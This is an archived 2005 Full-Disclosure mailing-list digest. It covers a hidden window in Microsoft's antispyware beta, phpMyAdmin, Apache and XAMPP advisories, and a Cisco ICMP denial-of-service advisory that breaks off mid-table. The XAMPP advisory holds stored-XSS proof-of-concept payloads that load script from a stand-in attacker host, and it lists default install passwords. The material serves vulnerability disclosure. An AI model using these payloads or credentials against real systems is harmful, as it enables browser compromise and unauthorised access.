Sent: Monday, April 11, 2005 11:15 AM
Subject: Re: [Full-disclosure] Oddness with the MS antispyware beta

> If you hold down "alt" + "tab", does the hidden windows name and icon
> appear on the list?
>
> MN Vasquez wrote:
>> I don't know if this is programming technique is "common", but I've not
>> seen it before. I'm running the MS antispyware beta 1 on Windows XP sp2.

>> I hooked up a 2nd monitor to my laptop. I set the resolution to
>> 1600x1200, and the monitor position in relation to the primary, is to the

>> left. Align the bottom screens. You can use a different resolution, I
>> imagine, if you offset the positions of the monitors.
>> On the 2nd monitor I found a program window "hiding". Basically, in a
>> very odd position -- on a typically non-displayed portion of the desktop,

>> which I only found by configuring multiple monitors. It seems the
>> programmers are "hiding" a window, which I have attached as a jpg. For
>> those that don't want to open an attachment:
>> there are 5 buttons: systrayhide, systrayshow, systraynormal,
>> systrascanning, systrayupdating.
>> The window title is gcasDtServHolder
>> Clicking the buttons modifies the tooltip associated with the system
>> tray icon. I can hide/show the systray icon. The status of the icon
>> also changes from Active to Running when Normal is selected, and I then
>> click either the Scanning or Updating button.
>> Closing the window removes the system tray icon and apparently closes
>> the program.
>> I do not know if this possibly leads to a vulnerability or not.
>> Mike
>>
>> ------------------------------------------------------------------------
>>
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [gentoo-announce] [ GLSA 200504-08 ] phpMyAdmin: Cross-site scripting vulnerability

From: Luke Macken (lewkgentoo.org)
Date: Mon Apr 11 2005 - 14:16:44 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Low
     Title: phpMyAdmin: Cross-site scripting vulnerability
      Date: April 11, 2005
      Bugs: #87952
        ID: 200504-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

phpMyAdmin is vulnerable to a cross-site scripting attack.

Background
==========

phpMyAdmin is a tool written in PHP intended to handle the
administration of MySQL databases from a web-browser.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 dev-db/phpmyadmin < 2.6.2_rc1 >= 2.6.2_rc1

Description
===========

Oriol Torrent Santiago has discovered that phpMyAdmin fails to validate
input to the "convcharset" variable, rendering it vulnerable to
cross-site scripting attacks.

Impact
======

By sending a specially-crafted request, an attacker can inject and
execute malicious script code, potentially compromising the victim's
browser.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All phpMyAdmin users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=dev-db/phpmyadmin-2.6.2_rc1"

References
==========

  [ 1 ] PMASA-2005-3
        http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-3

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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--
gentoo-announcegentoo.org mailing list

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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gentoo-announcegentoo.org mailing list


 
Re: [Full-disclosure] Oddness with the MS antispyware beta

From: Gregh (chowsozemail.com.au)
Date: Mon Apr 11 2005 - 16:00:37 CDT


----- Original Message -----
From: "MN Vasquez" <mnvalumni.princeton.edu>
To: <full-disclosurelists.grok.org.uk>
Sent: Tuesday, April 12, 2005 4:02 AM
Subject: [Full-disclosure] Oddness with the MS antispyware beta

> On the 2nd monitor I found a program window "hiding". Basically, in a very odd position -- on a typically non-displayed
> portion of the desktop, which I only found by configuring multiple monitors. It seems the programmers are "hiding" a
> window, which I have attached as a jpg. For those that don't want to open an attachment:

> there are 5 buttons: systrayhide, systrayshow, systraynormal, systrascanning, systrayupdating.

Sorry old son but it isn't hidden in any nasty or bug kind of way. I have 2 XPSP2 machines, one is a laptop and the other a desktop. For some reason that window doesn't show when Antispyware is started on the desktop with a normal CRT monitor but it does on the laptop every singles time. Normally it "hides" as in turns invisible after the prog has completed starting.

Greg.
_______________________________________________
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Re: [Full-disclosure] Phun With Apache

From: Graham Reed (greedpobox.com)
Date: Mon Apr 11 2005 - 17:43:13 CDT


On Apr 1, 2005, at 4:19 AM, duperwillhackforfood.biz wrote:
> ## Apache follows symbolic links referenced by public_html!
> ## Even when SymLinksifOwnerMatch is set and FollowSymLinks is not!
> ## A super-easy way to gain read access on files owned by the apache
> user!

It's not (only) a mod_userdir problem.

I found the problem is fully reproducible on the intranet server I
run--but it does not use mod_userdir. It gets its work done with
AliasMatch directives.

I currently believe the culprit is the <Directory> and <DirectoryMatch>
directives are allowing symbolic links, without following the
ifOwnerMatch part of the directive.

--
"Dead people don't send spam."

_______________________________________________
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[Full-disclosure] Re: Oddness with the MS antispyware beta

From: Scott Edwards (supadupagmail.com)
Date: Tue Apr 12 2005 - 00:04:38 CDT


Are you able to isolate it when running a selective startup via
msconfig? Also, does something like winspy give you any clues?

On 4/11/05, Gregh <chowsozemail.com.au> wrote:
>
> ----- Original Message -----
> From: "MN Vasquez" <mnvalumni.princeton.edu>
> To: <full-disclosurelists.grok.org.uk>
> Sent: Tuesday, April 12, 2005 4:02 AM
> Subject: [Full-disclosure] Oddness with the MS antispyware beta
>
>
> > On the 2nd monitor I found a program window "hiding". Basically, in a
> very odd position -- on a typically non-displayed
> > portion of the desktop, which I only found by configuring multiple
> monitors. It seems the programmers are "hiding" a
> > window, which I have attached as a jpg. For those that don't want to open
> an attachment:
>
> > there are 5 buttons: systrayhide, systrayshow, systraynormal,
> systrascanning, systrayupdating.
>
>
> Sorry old son but it isn't hidden in any nasty or bug kind of way. I have 2
> XPSP2 machines, one is a laptop and the other a desktop. For some reason
> that window doesn't show when Antispyware is started on the desktop with a
> normal CRT monitor but it does on the laptop every singles time. Normally it
> "hides" as in turns invisible after the prog has completed starting.
>
> Greg.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
_______________________________________________
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[Full-disclosure] linux bugs (survival stories)?

From: Bipin Gautam (gautam.bipingmail.com)
Date: Tue Apr 12 2005 - 01:21:59 CDT


hi list,
we have had a series of linux(kernel) bugs reported lately... they
were own unique in nature. (o; ( As i haven't gone through each and
every to verify its types) On the other hand we have had products like
 stack guard, lib safe, grsecurity.net, se-linux bla..bla...blah! But,
still i don't hear any success stories i mean, an analytical report
which says....... using *** patch from the *** product to my default
kernel source from kernel.org made my machine immune to * (a
particular bug) targeted to my verson of kernel. We all know the
product isn't a myth and with a properly hardened OS it could save
your day....

BUT i was woundering, to what extent adding these extra security
measures are effective against the real attacks & bugs discovered in
the kernel. i hope you got my point. (Though, se-linux got
features..... lets me not re-describe it all rite now)

regards,
Bipin Gautam
http://bipin.sosvulnerable.net/
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Bipin Gautam (gautam.bipingmail.com)
Date: Tue Apr 12 2005 - 02:35:02 CDT


>They do want you to communicate with them (or vendors) in a more
responsible manner
>but at the same time totally admit to their "PR issue" and how they
have handled bug
>finders in the past and internal security in the past and are changing.

There are lot of ppl. 'here' who have bitter experiences to share.
Every one grows up and isn't immune to mistakes, so does the
companies. Its very funny to see ppl. run after a particular vendor
for years&years with a feeling of REVANGE. In a time frame policies
change, ppl. change and things change in a way... its no-longer the
one that you use to hate!

>
> I also did enjoy unloading 1500$ worth of paint all over them
> =)

Whenever i hear such discussions, for me it rymes like i hate
Microsoft cauz it costs me $$$. Suppose, if windows haven't cost a
penny... i think, the noise against it would have been a lot lower!

huh! these ppl. who shout 'against' are ppl. who were taught about
security by their mentors (socalled hackers) who always tried
advertising, the product we use is 133t than that of our competators.
Later when these brain-washed kids grew to be a man...... they start
the same vicious cycle. I've nothing against open source & there are
lot of times i prefer it over other softwares. But, to those of
you... isn't it time to grow UP and stop nagging!~~~

- Bipin Gautam
http://bipin.sosvulnerable.net/
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[Full-disclosure] XAMPP

From: Morning Wood (se_cur_ityhotmail.com)
Date: Tue Apr 12 2005 - 05:07:40 CDT


------------------------------------------------------------
     - EXPL-A-2005-006 exploitlabs.com Advisory 034 -
------------------------------------------------------------
                                 - XAMPP -

OVERVIEW
========
XAMPP is an easy to install Apache distribution containing MySQL,
PHP and Perl. XAMPP is really very easy to install and to use
 - just download, extract and start

http://www.apachefriends.org/en/xampp.html

AFFECTED PRODUCTS
=================
Windows Version 1.4.X
http://www.apachefriends.org/en/xampp-windows.html

Linux 1.4.X ( all )
http://www.apachefriends.org/en/xampp-linux.html

Solaris 0.3 ( all )
http://www.apachefriends.org/en/xampp-solaris.html

DETAILS
=======
1.
persistant XSS is present in user supplied input fields
allowing attackers to render any javascript in the users browser.
some javascript will break the application, disallowing further
user input to the script.

http://[host]/xampp/cds.php
http://[host]/xampp/guestbook-en.pl ( linux )
http://[host]/xampp/phonebook.php

2.
default / install usernames and passwords

by viewing http://[host]/xampp/security.php XAMPP discloses
usernames / passwords ( example below )

Item 2a
-------
The phpMyAdmin user pma has no password UNSECURE
 phpMyAdmin saves your preferences in an extra MySQL database. To access
this data
 phpMyAdmin uses the special user pma. This user has in the default
installation no
 password set and to avoid any security problems you should give him a
passwort.

Item 2b
-------
The MySQL user root has no password UNSECURE
 Every local user on Linux box can access your MySQL database with
administrator rights.
 You should set a password.

Item 2c
-------
The FTP password for user nobody is still 'lampp' UNSECURE
 By using the default password for the FTP user nobody everyone can upload
and change
 files for your XAMPP webserver. So if you enabled ProFTPD you should set a
new password
 for user nobody.

Item 2d
-------
Tomcat Admin/Config User for XAMPP:
User: xampp
Password: xampp

PROOF OF CONCEPT
=================

Item 1a
--------
http://[host]/xampp/cds.php
enter text...
<script language=JavaScript src=http://evilattacker/js.js></script>

stores values in the mysql database

also 1c

Item 1b
--------
http://[host]/xampp/guestbook-en.pl
see 1c

Item 1c
--------
http://[host]/xampp/phonebook.php
enter into a input field...

<iframe src=http://evilatacker></iframe>

and when rendered forceably redirects the user to http;//evilattacker

SOLUTION
========
none ( see vendor response )

vendor response:
----------------

Dear Donnie!

> you have a severly insecure package.
> here are my raw notes.

Thank you for your notes. But XAMPP is meant only for internal
development usage and not on production systems.

See http://www.apachefriends.org/en/xampp.html
(section "The philosopy")

The vulnerable scripts are only very simple demonstation programms to
test the functions of Apache/MySQL/etc. and to give beginners first
inspirations in programming.
Also this scripts are not meant for public usage.

But you may be right. We should make the warning messages about the
dangers of use for our software bigger.

researcher comment:
-------------------

a disclaimer of this type does not mitigate the security issues
present in XAMPP. this package is targeted at beginners, the very
users who need to be protected the most and taught secure by default.

CREDITS
=======
This vulnerability was discovered and researched by
Donnie Werner of Exploitlabs

Donnie Werner
Information Security Specialist
securityexploitlabs.com

--
web: http://exploitlabs.com
http://exploitlabs.com/files/advisories/EXPL-A-2005-006-xampp.txt
_______________________________________________
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Ag. System Administrator (sysadminagent.co.il)
Date: Tue Apr 12 2005 - 02:21:22 CDT


>>>
>>>Am I right or not?
>>>
>>
>>not.
>>
>>Key Id: 0xAA55BC66 / Signed on: 04/08/2005 10:17 PM
>>
>>It's them...
>
>
> That's the key id on the web page, but the key id of the key on that
> page says 0x0B2E5E2D. It has fingerprint E561 2A79 6439 13E4 430B 92F0
> 2732 52F1 and never expires.
>
> Can anyone else confirm this?
>

Well, look at attached image. It worth more than words.

Best regards,
Dan

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ms_sig.jpg
 
[Full-disclosure] Re: Oddness with the MS antispyware beta

From: Gregh (chowsozemail.com.au)
Date: Tue Apr 12 2005 - 07:57:35 CDT


----- Original Message -----
From: "Scott Edwards" <supadupagmail.com>
To: "Gregh" <chowsozemail.com.au>
Cc: <full-disclosurelists.grok.org.uk>
Sent: Tuesday, April 12, 2005 3:04 PM
Subject: Re: Oddness with the MS antispyware beta

> Are you able to isolate it when running a selective startup via msconfig? Also, does something like winspy give you any > clues?

The window is part of the normal startup process for the program. There is no extra entry you will find in msconfig to account for it.

The window is honestly nothing to worry about. All it is is a server so that the program can update itself auto. If you don't want it to do that, change the option.

Greg.
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[Full-disclosure] Oddness with the MS antispyware beta

From: Jay Libove (libovefelines.org)
Date: Tue Apr 12 2005 - 07:45:37 CDT


I see that extra MS antispyware window (systrayhide, systrayshow, ...)
also on a two-monitor workstation using nVidia's desktop manager. A
similar thing happens with an ancient pop-up stopper I use (AKiller). If
you're seeing it on a laptop, it's probably because the laptop has a
second monitor capability and is running the advanced window management
functionality to know about the second monitor.

Both are just artifacts of either poorly written software (Giant
Anti-spyware, my little old AKiller program) or poorly written window
managers (or both) which result in the "don't show this window" bit being
ignored when under advanced window management.

They're annoying, but not an indication of anything nefarious.

-Jay Libove, CISSP
Atlanta, GA, US

> Message: 9
> Date: Mon, 11 Apr 2005 23:04:38 -0600
> From: Scott Edwards <supadupagmail.com>
> Subject: [Full-disclosure] Re: Oddness with the MS antispyware beta
> To: Gregh <chowsozemail.com.au>
> Cc: full-disclosurelists.grok.org.uk
> Message-ID: <a53adc460504112204722746f9mail.gmail.com>
> Content-Type: text/plain; charset=ISO-8859-1
>
> Are you able to isolate it when running a selective startup via
> msconfig? Also, does something like winspy give you any clues?
>
>
> On 4/11/05, Gregh <chowsozemail.com.au> wrote:
>>
>> ----- Original Message -----
>> From: "MN Vasquez" <mnvalumni.princeton.edu>
>> To: <full-disclosurelists.grok.org.uk>
>> Sent: Tuesday, April 12, 2005 4:02 AM
>> Subject: [Full-disclosure] Oddness with the MS antispyware beta
>>
>>
>>> On the 2nd monitor I found a program window "hiding". Basically, in a
>> very odd position -- on a typically non-displayed
>>> portion of the desktop, which I only found by configuring multiple
>> monitors. It seems the programmers are "hiding" a
>>> window, which I have attached as a jpg. For those that don't want to open
>> an attachment:
>>
>>> there are 5 buttons: systrayhide, systrayshow, systraynormal,
>> systrascanning, systrayupdating.
>>
>>
>> Sorry old son but it isn't hidden in any nasty or bug kind of way. I have 2
>> XPSP2 machines, one is a laptop and the other a desktop. For some reason
>> that window doesn't show when Antispyware is started on the desktop with a
>> normal CRT monitor but it does on the laptop every singles time. Normally it
>> "hides" as in turns invisible after the prog has completed starting.
>>
>> Greg.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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Re: [Full-disclosure] Oddness with the MS antispyware beta

From: Micheal Espinola Jr (michealespinolagmail.com)
Date: Tue Apr 12 2005 - 08:46:30 CDT


As far as my testing is concerned, this is all well and normal (if you want
to call it that). However, I'd be interested if Sunbelt's enterprise product
does the same thing.
 To add to this, since this is a user-accessible/controllable window (even
if off screen) - it seems easy enough for another app to be able to control
it, and disable MSAS.

 On Apr 12, 2005 8:45 AM, Jay Libove <libovefelines.org> wrote:
>
> I see that extra MS antispyware window (systrayhide, systrayshow, ...)
> also on a two-monitor workstation using nVidia's desktop manager. A
> similar thing happens with an ancient pop-up stopper I use (AKiller). If
> you're seeing it on a laptop, it's probably because the laptop has a
> second monitor capability and is running the advanced window management
> functionality to know about the second monitor.
>
> Both are just artifacts of either poorly written software (Giant
> Anti-spyware, my little old AKiller program) or poorly written window
> managers (or both) which result in the "don't show this window" bit being
> ignored when under advanced window management.
>
> They're annoying, but not an indication of anything nefarious.
>
> -Jay Libove, CISSP
> Atlanta, GA, US
>
> > Message: 9
> > Date: Mon, 11 Apr 2005 23:04:38 -0600
> > From: Scott Edwards <supadupagmail.com>
> > Subject: [Full-disclosure] Re: Oddness with the MS antispyware beta
> > To: Gregh <chowsozemail.com.au>
> > Cc: full-disclosurelists.grok.org.uk
> > Message-ID: <a53adc460504112204722746f9mail.gmail.com>
> > Content-Type: text/plain; charset=ISO-8859-1
> >
> > Are you able to isolate it when running a selective startup via
> > msconfig? Also, does something like winspy give you any clues?
> >
> >
> > On 4/11/05, Gregh <chowsozemail.com.au> wrote:
> >>
> >> ----- Original Message -----
> >> From: "MN Vasquez" <mnvalumni.princeton.edu>
> >> To: <full-disclosurelists.grok.org.uk>
> >> Sent: Tuesday, April 12, 2005 4:02 AM
> >> Subject: [Full-disclosure] Oddness with the MS antispyware beta
> >>
> >>
> >>> On the 2nd monitor I found a program window "hiding". Basically, in a
> >> very odd position -- on a typically non-displayed
> >>> portion of the desktop, which I only found by configuring multiple
> >> monitors. It seems the programmers are "hiding" a
> >>> window, which I have attached as a jpg. For those that don't want to
> open
> >> an attachment:
> >>
> >>> there are 5 buttons: systrayhide, systrayshow, systraynormal,
> >> systrascanning, systrayupdating.
> >>
> >>
> >> Sorry old son but it isn't hidden in any nasty or bug kind of way. I
> have 2
> >> XPSP2 machines, one is a laptop and the other a desktop. For some
> reason
> >> that window doesn't show when Antispyware is started on the desktop
> with a
> >> normal CRT monitor but it does on the laptop every singles time.
> Normally it
> >> "hides" as in turns invisible after the prog has completed starting.
> >>
> >> Greg.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

--
ME2

my home: <http://www.santeriasys.net/>
my photos: <http://mespinola.blogspot.com/>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Andrew Farmer (andfarmteknovis.com)
Date: Tue Apr 12 2005 - 10:06:26 CDT


On 12 Apr 2005, at 00:21, Ag. System Administrator wrote:
> <ms_sig.jpg>

I suppose you believe the signature on this message too, then.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (Darwin)

iD8DBQFCW+Py6XPCHF/HfNsRAlakAJ9ZvMGX1f4iRc9cVQ4PN/BXODdwAACdExi6
IsOu+1JYOxLD5JUrR8e20Ps=
=vEew
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] Cisco Security Advisory: Crafted ICMP Messages Can Cause Denial of Service

From: Cisco Systems Product Security Incident Response Team (psirtcisco.com)
Date: Tue Apr 12 2005 - 08:10:44 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cisco Security Advisory: Crafted ICMP Messages Can Cause Denial of
Service

Revision 1.0

For Public Release 2005 April 12 1200 UTC (GMT)

+----------------------------------------------------------------------

Contents
========

    Summary
    Affected Products
    Details
    Impact
    Software Versions and Fixes
    Obtaining Fixed Software
    Workarounds
    Exploitation and Public Announcements
    Status of This Notice: FINAL
    Distribution
    Revision History
    Cisco Security Procedures

+----------------------------------------------------------------------

Summary
=======

A document that describes how the Internet Control Message
Protocol (ICMP) could be used to perform a number of Denial of
Service (DoS) attacks against the Transmission Control Protocol
(TCP) has been made publicly available. This document has been
published through the Internet Engineering Task Force (IETF)
Internet Draft process, and is entitled "ICMP Attacks Against TCP"
(draft-gont-tcpm-icmp-attacks-03.txt).

These attacks, which only affect sessions terminating or originating on
a device itself, can be of three types:

 1. Attacks that use ICMP "hard" error messages
 2. Attacks that use ICMP "fragmentation needed and Don't Fragment (DF)
    bit set" messages, also known as Path Maximum Transmission Unit
    Discovery (PMTUD) attacks
 3. Attacks that use ICMP "source quench" messages

Successful attacks may cause connection resets or reduction of
throughput in existing connections, depending on the attack type.

Multiple Cisco products are affected by the attacks described in this
Internet draft.

Cisco has made free software available to address these vulnerabilities.
In some cases there are workarounds available to mitigate the effects of
the vulnerability.

This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml

The disclosure of these vulnerabilities is being coordinated by the
National Infrastructure Security Coordination Centre (NISCC), based in
the United Kingdom. NISCC is working with multiple vendors whose
products are potentially affected. Its posting can be found at:
http://www.niscc.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=en

Affected Products
=================

Vulnerable Products
+------------------

Cisco IOS
+--------

Cisco products that run Cisco IOS® and that have PMTUD enabled, either
by default or because they have been explicitly configured to do PMTUD,
are affected. All versions of IOS are impacted. The severity of the
exposure depends upon the protocols and applications that rely on
specific ICMP messages to perform PMTUD. IOS is not vulnerable to
attacks that make use of ICMP "hard" error or "source quench" messages.

To determine the software running on a Cisco product, log in to the
device and issue the show version command to display the system banner.
Cisco IOS Software will identify itself as "Internetwork Operating
System Software" or simply "IOS." The image name will be displayed
between parentheses shortly after this identification (possibly in the
next line), followed by "Version" and the IOS release name. Other Cisco
devices will not have the show version command or will give different
output.

The following example identifies a Cisco product running IOS release
12.2(15)T14 with an installed image name of C806-K9OSY6-M:

    gw>show version
    Cisco Internetwork Operating System Software
    IOS (tm) C806 Software (C806-K9OSY6-M), Version 12.2(15)T14, RELEASE SOFTWARE (fc4)
    [...]

The following protocols make use of PMTUD and if enabled in the network
may cause IOS devices to be vulnerable to PMTUD attacks.

  * Transmission Control Protocol over Internet Protocol (IP) Version 4
    : if an IOS device establishes TCP sessions with other devices, for
    example, to speak Border Gateway Protocol (BGP) with other peers,
    it may be vulnerable to crafted ICMP "fragmentation needed and
    Don't Fragment (DF) bit set" error messages if PMTUD is enabled.
    PMTUD is disabled by default for TCP in IOS. PMTUD is enabled if
    the command ip tcp path-mtu-discovery is present in the device
    configuration.

  * Transmission Control Protocol over Internet Protocol Version 6
    (IPv6): PMTUD is enabled by default for IPV6; therefore, devices
    configured for IPv6 are vulnerable to PMTUD attacks if they are
    running services that rely on TCP, like BGP. If the device is just
    forwarding IPv6 traffic, i.e., it does not establish TCP sessions
    with other hosts, then it is not affected.

  * IP Security (IPSec): when an IOS device is configured to use IPSec,
    PMTUD is enabled by default, and therefore, the device may be
    affected by the PMTUD attack described in this document. An IOS
    device is configured for IPSec if either crypto map or tunnel
    protection is applied to an interface. For example:

        crypto ipsec profile IPSEC_PROFILE
         [...]
        !
        crypto map MYMAP 1 ipsec-isakmp
         [...]
        !
        interface Tunnel0
         tunnel protection ipsec profile IPSEC_PROFILE
         [...]
        !
        interface Ethernet1
         crypto map MYMAP
         [...]

  * Generic Routing Encapsulation (GRE) and IPinIP: devices configured
    to use these tunneling protocols are vulnerable to crafted ICMP
    "fragmentation needed and DF bit set" messages if PMTUD is enabled.
    PMTUD is disabled by default for these two protocols. The device is
    vulnerable if the command tunnel path-mtu-discovery is present in
    the configuration.

  * Layer 2 Tunneling Protocol Version 2 (L2TP) and Layer 2 Tunneling
    Protocol Version 3(L2TPv3): devices configured to use these
    tunneling protocols are vulnerable to crafted ICMP "fragmentation
    needed and DF bit set" messages if PMTUD is enabled. PMTUD is
    disabled by default for these protocols. A device running L2TP is
    vulnerable if the command ip pmtu appears in the device's
    configuration.

    Note: L2TP (version 2) and L2TPv3 (version 3) are two different
    and independent protocols. Both are affected, but throughout the
    rest of this document we will refer to them as one since they are
    affected in the same manner.

In addition to IOS-based routers, the following devices also run Cisco
IOS or software based on Cisco IOS and are therefore vulnerable:

  * The Catalyst 4000 and 6000 switches when running IOS in either
    hybrid (Supervisor Engine running CatOS and Multilayer Switch
    Feature Card running IOS) or native mode (Supervisor Engine running
    IOS.)
  * Cisco Aironet Wireless LAN Access Points and Bridges.
  * Catalyst 2900XL, 2900XL-LRE, 3500XL, 2940, 2950, 2950-LRE, 2955,
    and 2970 series switches.
  * Catalyst 2948G-L3, 3550, 3560, 3750, and 3750-ME series switches.
  * The Communication Media Module (CMM)
  * Cisco Optical Network Solutions (ONS) products: the ML and SL
    blades in the ONS 15454, and the ONS 15530/15540.
  * Cisco DistributedDirector.

Non-IOS Products
+---------------

The following non-IOS-based products are also vulnerable:

  * Cisco CRS-1: the CRS-1 runs IOS XR, which is vulnerable to PMTUD
    attacks and to attacks that use ICMP "hard" error messages if the
    CRS-1 establishes TCP sessions with other devices in applications
    like BGP. PMTUD is disabled by default in IOS XR. PMTUD is enabled
    if the command tcp path-mtu-discovery is present in the device
    configuration. Use the show version command to obtain the version
    of the running IOS XR software.

  * Cisco PIX Security Appliance is vulnerable to PMTUD attacks if it
    is configured to use IPSec. IPSec is not enabled by default on the
    Cisco PIX Security Appliance. The Cisco PIX Security Appliance is
    using IPSec if the device configuration shows a crypto map applied
    to an interface through the command crypto map <crypto map name>
    interface <interface name>. The show version command can be used to
    determine the running version of the Cisco PIX Security Appliance
    software. Please note that version 7.0 and later of the PIX
    Security Appliance software is not affected by these
    vulnerabilities.

  * Cisco IP Phones
      + 7940/7960 with Skinny Client Control Protocol (SCCP) firmware.
      + 7940/7960 with Session Initiation Protocol (SIP) firmware.
      + 7970 with Skinny Client Control Protocol firmware (vulnerable
        only to crafted ICMP hard error messages)
    The version of the firmware running on your Cisco IP Phone can be
    found by pressing the "Settings" button of your phone and selecting
    the "Status" menu options.

  * Cisco Catalyst 6608 Voice Gateway and Cisco 6000 FXS Analog
    Interface Module (WS-X6624-FXS) are vulnerable to crafted ICMP hard
    errors, as well as to crafted ICMP "source quench" messages. To
    obtain the version of the 6608 and 6624 firmware, log in to your
    Catalyst 6500 series switch and issue the show version command.

  * Cisco 11000 and 11500 Content Services Switches (CSS).

  * Global Site Selector (GSS).

  * Cisco ONS products: ONS 15302 and ONS 15305.

  * Cisco MDS 9000 Series Multilayer Switches.

  * VPN 5000 concentrator.

Products Confirmed Not Vulnerable
+--------------------------------

The following products are not vulnerable:

  * Cisco Firewall Services Module (FWSM) for Cisco Catalyst 6500
    Series and Cisco 7600 Series.
  * Cisco Guard and Cisco Traffic Anomaly Detector Denial of Service
    mitigation appliances.
  * Catalyst Switches. The following Catalyst switches do not run Cisco
    IOS and therefore are not affected by the vulnerabilities described
    in this document:
      + 1200
      + 1700
      + 1900
      + 2100
      + 28xx
      + 2948G-GE-TX
      + 2900, 2902, 2926T and 2926G
      + 3000, 3100, 3200
      + 3900
      + 5000
      + The Catalyst 4000 and 6000 switches can run CatOS or IOS. When
        running CatOS, they are not vulnerable unless a Multilayer
        Switch Feature Card (MSFC) is present (since the MSFC runs
        IOS.) When running IOS, they are vulnerable as described above
        in the Vulnerable Products section.
  * Cisco ONS products: ONS 15327 Metro Edge Optical Transport
    Platform, ONS 15454 Optical Transport Platform (MSPP and MSTP), ONS
    15531/15532 T31 OMDS Metro WDM System, ONS 15216 EDFA3/EDFA2/OADM,
    ONS 15310 CL.
  * Cisco IP Phones
      + ATA 186/188
      + 7910
      + 7912
  * Cisco VG248 Analog Phone Gateway
  * Cisco MeetingPlace
  * Cisco VPN 3000 Series Concentrators, VPN 3002 Hardware Clients, and
    the VPN Software Client (please note that the VPN Software Client
    itself is not vulnerable but the operating system the VPN clients
    runs on may be vulnerable. Please check with your operating system
    vendor.)
  * Cisco BTS 10200 Softswitch
  * Content Engines, Content Routers, and Content Distribution Managers
    running Cisco Application and Content Networking System (ACNS)
    software.

The following voice and IP communication products are shipped with,
and run on top of, the Microsoft Windows operating system. However,
the current customization of Microsoft Windows made by Cisco (release
2000-2-6) and included with these products has PMTUD disabled by
default. These products may be vulnerable if PMTUD has been enabled by
the end user and if Microsoft Windows is affected by the ICMP issues
described in this document:

  * Cisco Call Manager
  * Cisco IP Interactive Voice Response
  * Cisco IP Call Center Express
  * Cisco IP Queue Manager
  * Cisco Personal Assistant
  * Cisco Emergency Responder
  * Cisco Conference Connection
  * Cisco Internet Service Node

The following products use non-Cisco-customized versions of Microsoft
Windows. PMTUD is enabled by default on Microsoft Windows, so these
products may be vulnerable if this default setting has not been changed
and if Microsoft Windows is affected by the ICMP issues described in
this document:

  * Cisco Unity
  * Cisco IP Contact Center Enterprise Edition
  * Cisco Secure ACS Solution Engine, also known as the Cisco Secure
    ACS Appliance

To verify whether PMTUD is enabled in the version of Microsoft Windows
used by your Cisco product, please check the value of the following
registry key:

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\EnablePMTUDiscovery

No other Cisco products are currently known to be affected by these
vulnerabilities.

For all Cisco products that are based on a third-party Operating System
and when Cisco is not supplying the OS, please contact the respective
vendor for the appropriate vulnerability assessment. It is important
to take into consideration that a Cisco product may be impacted if the
underlying, non-Cisco operating system is vulnerable.

Summary of Vulnerable Products
+-----------------------------

The following table summarizes how Cisco products are affected by the
vulnerabilities described in this document:

+-----------------------------------------------+
| Product | Hard | PMTUD | Source |
| | Error | | Quench |
|--------------+----------+----------+----------|
| IOS | Not | Affected | Not |
| | affected | | affected |
|--------------+----------+----------+----------|
| IOS XR | Affected | Affected | Not |
| | | | affected |
|--------------+----------+----------+----------|
| IP Phones | Affected | Affected | Affected |
|--------------+----------+----------+----------|
| Cisco PIX | Not | | Not |
| Security | affected | Affected | affected |
| Appliance | | | |
|--------------+----------+----------+----------|
| Catalyst | | Not | |
| 6608 and | Affected | affected | Affected |
| 6624 | | | |
|--------------+----------+----------+----------|
| Cisco 11000 | Not | Not | Affected |
